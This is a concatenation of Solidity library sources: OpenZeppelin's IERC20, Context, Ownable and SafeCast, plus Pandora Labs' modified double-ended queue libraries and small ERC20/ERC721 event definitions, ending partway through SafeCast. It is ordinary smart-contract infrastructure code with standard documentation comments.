// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/DoubleEndedQueue.sol) // Modified by Pandora Labs to support native uint256 operations pragma solidity ^0.8.20; /** * @dev A sequence of items with the ability to efficiently push and pop items (i.e. insert and remove) on both ends of * the sequence (called front and back). Among other access patterns, it can be used to implement efficient LIFO and * FIFO queues. Storage use is optimized, and all operations are O(1) constant time. This includes {clear}, given that * the existing queue contents are left in storage. * * The struct is called `Uint256Deque`. This data structure can only be used in storage, and not in memory. * * ```solidity * DoubleEndedQueue.Uint256Deque queue; * ``` */ library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/DoubleEndedQueue.sol) // Modified by Pandora Labs to support native packed operations pragma solidity ^0.8.20; /** * @dev A sequence of items with the ability to efficiently push and pop items (i.e. insert and remove) on both ends of * the sequence (called front and back). Among other access patterns, it can be used to implement efficient LIFO and * FIFO queues. Storage use is optimized, and all operations are O(1) constant time. This includes {clear}, given that * the existing queue contents are left in storage. * * The struct is called `Uint16Deque`. And is designed for packed uint16 values, though this approach can be * extrapolated to different implementations. This data structure can only be used in storage, and not in memory. * * ```solidity * PackedDoubleEndedQueue.Uint16Deque queue; * ``` */ library PackedDoubleEndedQueue { uint128 constant SLOT_MASK = (1 << 64) - 1; uint128 constant INDEX_MASK = SLOT_MASK << 64; uint256 constant SLOT_DATA_MASK = (1 << 16) - 1; /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Invalid slot. */ error InvalidSlot(); /** * @dev Indices and slots are 64 bits to fit within a single storage slot. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint16Deque { uint64 _beginIndex; uint64 _beginSlot; uint64 _endIndex; uint64 _endSlot; mapping(uint64 index => uint256) _data; } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack(Uint16Deque storage deque) internal returns (uint16 value) { unchecked { uint64 backIndex = deque._endIndex; uint64 backSlot = deque._endSlot; if (backIndex == deque._beginIndex && backSlot == deque._beginSlot) revert QueueEmpty(); if (backSlot == 0) { --backIndex; backSlot = 15; } else { --backSlot; } uint256 data = deque._data[backIndex]; value = _getEntry(data, backSlot); deque._data[backIndex] = _setData(data, backSlot, 0); deque._endIndex = backIndex; deque._endSlot = backSlot; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint16Deque storage deque, uint16 value_) internal { unchecked { uint64 frontIndex = deque._beginIndex; uint64 frontSlot = deque._beginSlot; if (frontSlot == 0) { --frontIndex; frontSlot = 15; } else { --frontSlot; } if (frontIndex == deque._endIndex && frontSlot == deque._endSlot) revert QueueFull(); deque._data[frontIndex] = _setData( deque._data[frontIndex], frontSlot, value_ ); deque._beginIndex = frontIndex; deque._beginSlot = frontSlot; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint16Deque storage deque, uint256 index_ ) internal view returns (uint16 value) { if (index_ >= length(deque) * 16) revert QueueOutOfBounds(); unchecked { return _getEntry( deque._data[ deque._beginIndex + uint64(deque._beginSlot + (index_ % 16)) / 16 + uint64(index_ / 16) ], uint64(((deque._beginSlot + index_) % 16)) ); } } /** * @dev Returns the number of items in the queue. */ function length(Uint16Deque storage deque) internal view returns (uint256) { unchecked { return (16 - deque._beginSlot) + deque._endSlot + deque._endIndex * 16 - deque._beginIndex * 16 - 16; } } /** * @dev Returns true if the queue is empty. */ function empty(Uint16Deque storage deque) internal view returns (bool) { return deque._endSlot == deque._beginSlot && deque._endIndex == deque._beginIndex; } function _setData( uint256 data_, uint64 slot_, uint16 value ) private pure returns (uint256) { return (data_ & (~_getSlotMask(slot_))) + (uint256(value) << (16 * slot_)); } function _getEntry(uint256 data, uint64 slot_) private pure returns (uint16) { return uint16((data & _getSlotMask(slot_)) >> (16 * slot_)); } function _getSlotMask(uint64 slot_) private pure returns (uint256) { return SLOT_DATA_MASK << (slot_ * 16); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol) // This file was procedurally generated from scripts/generate/templates/SafeCast.js. pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint248 from uint256, reverting on * overflow (when the input is greater than largest uint248). * * Counterpart to Solidity's `uint248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toUint248(uint256 value) internal pure returns (uint248) { require( value <= type(uint248).max, "SafeCast: value doesn't fit in 248 bits" ); return uint248(value); } /** * @dev Returns the downcasted uint240 from uint256, reverting on * overflow (when the input is greater than largest uint240). * * Counterpart to Solidity's `uint240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toUint240(uint256 value) internal pure returns (uint240) { require( value <= type(uint240).max, "SafeCast: value doesn't fit in 240 bits" ); return uint240(value); } /** * @dev Returns the downcasted uint232 from uint256, reverting on * overflow (when the input is greater than largest uint232). * * Counterpart to Solidity's `uint232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toUint232(uint256 value) internal pure returns (uint232) { require( value <= type(uint232).max, "SafeCast: value doesn't fit in 232 bits" ); return uint232(value); } /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.2._ */ function toUint224(uint256 value) internal pure returns (uint224) { require( value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits" ); return uint224(value); } /** * @dev Returns the downcasted uint216 from uint256, reverting on * overflow (when the input is greater than largest uint216). * * Counterpart to Solidity's `uint216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toUint216(uint256 value) internal pure returns (uint216) { require( value <= type(uint216).max, "SafeCast: value doesn't fit in 216 bits" ); return uint216(value); } /** * @dev Returns the downcasted uint208 from uint256, reverting on * overflow (when the input is greater than largest uint208). * * Counterpart to Solidity's `uint208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toUint208(uint256 value) internal pure returns (uint208) { require( value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits" ); return uint208(value); } /** * @dev Returns the downcasted uint200 from uint256, reverting on * overflow (when the input is greater than largest uint200). * * Counterpart to Solidity's `uint200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toUint200(uint256 value) internal pure returns (uint200) { require( value <= type(uint200).max, "SafeCast: value doesn't fit in 200 bits" ); return uint200(value); } /** * @dev Returns the downcasted uint192 from uint256, reverting on * overflow (when the input is greater than largest uint192). * * Counterpart to Solidity's `uint192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toUint192(uint256 value) internal pure returns (uint192) { require( value <= type(uint192).max, "SafeCast: value doesn't fit in 192 bits" ); return uint192(value); } /** * @dev Returns the downcasted uint184 from uint256, reverting on * overflow (when the input is greater than largest uint184). * * Counterpart to Solidity's `uint184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toUint184(uint256 value) internal pure returns (uint184) { require( value <= type(uint184).max, "SafeCast: value doesn't fit in 184 bits" ); return uint184(value); } /** * @dev Returns the downcasted uint176 from uint256, reverting on * overflow (when the input is greater than largest uint176). * * Counterpart to Solidity's `uint176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toUint176(uint256 value) internal pure returns (uint176) { require( value <= type(uint176).max, "SafeCast: value doesn't fit in 176 bits" ); return uint176(value); } /** * @dev Returns the downcasted uint168 from uint256, reverting on * overflow (when the input is greater than largest uint168). * * Counterpart to Solidity's `uint168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toUint168(uint256 value) internal pure returns (uint168) { require( value <= type(uint168).max, "SafeCast: value doesn't fit in 168 bits" ); return uint168(value); } /** * @dev Returns the downcasted uint160 from uint256, reverting on * overflow (when the input is greater than largest uint160). * * Counterpart to Solidity's `uint160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toUint160(uint256 value) internal pure returns (uint160) { require( value <= type(uint160).max, "SafeCast: value doesn't fit in 160 bits" ); return uint160(value); } /** * @dev Returns the downcasted uint152 from uint256, reverting on * overflow (when the input is greater than largest uint152). * * Counterpart to Solidity's `uint152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toUint152(uint256 value) internal pure returns (uint152) { require( value <= type(uint152).max, "SafeCast: value doesn't fit in 152 bits" ); return uint152(value); } /** * @dev Returns the downcasted uint144 from uint256, reverting on * overflow (when the input is greater than largest uint144). * * Counterpart to Solidity's `uint144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toUint144(uint256 value) internal pure returns (uint144) { require( value <= type(uint144).max, "SafeCast: value doesn't fit in 144 bits" ); return uint144(value); } /** * @dev Returns the downcasted uint136 from uint256, reverting on * overflow (when the input is greater than largest uint136). * * Counterpart to Solidity's `uint136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toUint136(uint256 value) internal pure returns (uint136) { require( value <= type(uint136).max, "SafeCast: value doesn't fit in 136 bits" ); return uint136(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v2.5._ */ function toUint128(uint256 value) internal pure returns (uint128) { require( value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits" ); return uint128(value); } /** * @dev Returns the downcasted uint120 from uint256, reverting on * overflow (when the input is greater than largest uint120). * * Counterpart to Solidity's `uint120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toUint120(uint256 value) internal pure returns (uint120) { require( value <= type(uint120).max, "SafeCast: value doesn't fit in 120 bits" ); return uint120(value); } /** * @dev Returns the downcasted uint112 from uint256, reverting on * overflow (when the input is greater than largest uint112). * * Counterpart to Solidity's `uint112` operator. * * Requirements: * * - input must fit into 112 bits * * _Available since v4.7._ */ function toUint112(uint256 value) internal pure returns (uint112) { require( value <= type(uint112).max, "SafeCast: value doesn't fit in 112 bits" ); return uint112(value); } /** * @dev Returns the downcasted uint104 from uint256, reverting on * overflow (when the input is greater than largest uint104). * * Counterpart to Solidity's `uint104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toUint104(uint256 value) internal pure returns (uint104) { require( value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits" ); return uint104(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.2._ */ function toUint96(uint256 value) internal pure returns (uint96) { require( value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits" ); return uint96(value); } /** * @dev Returns the downcasted uint88 from uint256, reverting on * overflow (when the input is greater than largest uint88). * * Counterpart to Solidity's `uint88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toUint88(uint256 value) internal pure returns (uint88) { require( value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits" ); return uint88(value); } /** * @dev Returns the downcasted uint80 from uint256, reverting on * overflow (when the input is greater than largest uint80). * * Counterpart to Solidity's `uint80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toUint80(uint256 value) internal pure returns (uint80) { require( value <= type(uint80).max, "SafeCast: value doesn't fit in 80 bits" ); return uint80(value); } /** * @dev Returns the downcasted uint72 from uint256, reverting on * overflow (when the input is greater than largest uint72). * * Counterpart to Solidity's `uint72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toUint72(uint256 value) internal pure returns (uint72) { require( value <= type(uint72).max, "SafeCast: value doesn't fit in 72 bits" ); return uint72(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v2.5._ */ function toUint64(uint256 value) internal pure returns (uint64) { require( value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits" ); return uint64(value); } /** * @dev Returns the downcasted uint56 from uint256, reverting on * overflow (when the input is greater than largest uint56). * * Counterpart to Solidity's `uint56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toUint56(uint256 value) internal pure returns (uint56) { require( value <= type(uint56).max, "SafeCast: value doesn't fit in 56 bits" ); return uint56(value); } /** * @dev Returns the downcasted uint48 from uint256, reverting on * overflow (when the input is greater than largest uint48). * * Counterpart to Solidity's `uint48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toUint48(uint256 value) internal pure returns (uint48) { require( value <= type(uint48).max, "SafeCast: value doesn't fit in 48 bits" ); return uint48(value); } /** * @dev Returns the downcasted uint40 from uint256, reverting on * overflow (when the input is greater than largest uint40). * * Counterpart to Solidity's `uint40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toUint40(uint256 value) internal pure returns (uint40) { require( value <= type(uint40).max, "SafeCast: value doesn't fit in 40 bits" ); return uint40(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v2.5._ */ function toUint32(uint256 value) internal pure returns (uint32) { require( value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits" ); return uint32(value); } /** * @dev Returns the downcasted uint24 from uint256, reverting on * overflow (when the input is greater than largest uint24). * * Counterpart to Solidity's `uint24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toUint24(uint256 value) internal pure returns (uint24) { require( value <= type(uint24).max, "SafeCast: value doesn't fit in 24 bits" ); return uint24(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v2.5._ */ function toUint16(uint256 value) internal pure returns (uint16) { require( value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits" ); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v2.5._ */ function toUint8(uint256 value) internal pure returns (uint8) { require( value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits" ); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. * * _Available since v3.0._ */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int248 from int256, reverting on * overflow (when the input is less than smallest int248 or * greater than largest int248). * * Counterpart to Solidity's `int248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); require(downcasted == value, "SafeCast: value doesn't fit in 248 bits"); } /** * @dev Returns the downcasted int240 from int256, reverting on * overflow (when the input is less than smallest int240 or * greater than largest int240). * * Counterpart to Solidity's `int240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); require(downcasted == value, "SafeCast: value doesn't fit in 240 bits"); } /** * @dev Returns the downcasted int232 from int256, reverting on * overflow (when the input is less than smallest int232 or * greater than largest int232). * * Counterpart to Solidity's `int232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); require(downcasted == value, "SafeCast: value doesn't fit in 232 bits"); } /** * @dev Returns the downcasted int224 from int256, reverting on * overflow (when the input is less than smallest int224 or * greater than largest int224). * * Counterpart to Solidity's `int224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.7._ */ function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); require(downcasted == value, "SafeCast: value doesn't fit in 224 bits"); } /** * @dev Returns the downcasted int216 from int256, reverting on * overflow (when the input is less than smallest int216 or * greater than largest int216). * * Counterpart to Solidity's `int216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); require(downcasted == value, "SafeCast: value doesn't fit in 216 bits"); } /** * @dev Returns the downcasted int208 from int256, reverting on * overflow (when the input is less than smallest int208 or * greater than largest int208). * * Counterpart to Solidity's `int208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); require(downcasted == value, "SafeCast: value doesn't fit in 208 bits"); } /** * @dev Returns the downcasted int200 from int256, reverting on * overflow (when the input is less than smallest int200 or * greater than largest int200). * * Counterpart to Solidity's `int200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); require(downcasted == value, "SafeCast: value doesn't fit in 200 bits"); } /** * @dev Returns the downcasted int192 from int256, reverting on * overflow (when the input is less than smallest int192 or * greater than largest int192). * * Counterpart to Solidity's `int192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); require(downcasted == value, "SafeCast: value doesn't fit in 192 bits"); } /** * @dev Returns the downcasted int184 from int256, reverting on * overflow (when the input is less than smallest int184 or * greater than largest int184). * * Counterpart to Solidity's `int184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); require(downcasted == value, "SafeCast: value doesn't fit in 184 bits"); } /** * @dev Returns the downcasted int176 from int256, reverting on * overflow (when the input is less than smallest int176 or * greater than largest int176). * * Counterpart to Solidity's `int176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); require(downcasted == value, "SafeCast: value doesn't fit in 176 bits"); } /** * @dev Returns the downcasted int168 from int256, reverting on * overflow (when the input is less than smallest int168 or * greater than largest int168). * * Counterpart to Solidity's `int168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); require(downcasted == value, "SafeCast: value doesn't fit in 168 bits"); } /** * @dev Returns the downcasted int160 from int256, reverting on * overflow (when the input is less than smallest int160 or * greater than largest int160). * * Counterpart to Solidity's `int160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); require(downcasted == value, "SafeCast: value doesn't fit in 160 bits"); } /** * @dev Returns the downcasted int152 from int256, reverting on * overflow (when the input is less than smallest int152 or * greater than largest int152). * * Counterpart to Solidity's `int152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); require(downcasted == value, "SafeCast: value doesn't fit in 152 bits"); } /** * @dev Returns the downcasted int144 from int256, reverting on * overflow (when the input is less than smallest int144 or * greater than largest int144). * * Counterpart to Solidity's `int144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); require(downcasted == value, "SafeCast: value doesn't fit in 144 bits"); } /** * @dev Returns the downcasted int136 from int256, reverting on * overflow (when the input is less than smallest int136 or * greater than largest int136). * * Counterpart to Solidity's `int136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); require(downcasted == value, "SafeCast: value doesn't fit in 136 bits"); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); require(downcasted == value, "SafeCast: value doesn't fit in 128 bits"); } /** * @dev Returns the downcasted int120 from int256, reverting on * overflow (when the input is less than smallest int120 or * greater than largest int120). * * Counterpart to Solidity's `int120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); require(downcasted == value, "SafeCast: value doesn't fit in 120 bits"); } /** * @dev Returns the downcasted int112 from int256, reverting on * overflow (when the input is less than smallest int112 or * greater than largest int112). * * Counterpart to Solidity's `int112` operator. * * Requirements: * * - input must fit into 112 bits * * _Available since v4.7._ */ function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); require(downcasted == value, "SafeCast: value doesn't fit in 112 bits"); } /** * @dev Returns the downcasted int104 from int256, reverting on * overflow (when the input is less than smallest int104 or * greater than largest int104). * * Counterpart to Solidity's `int104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); 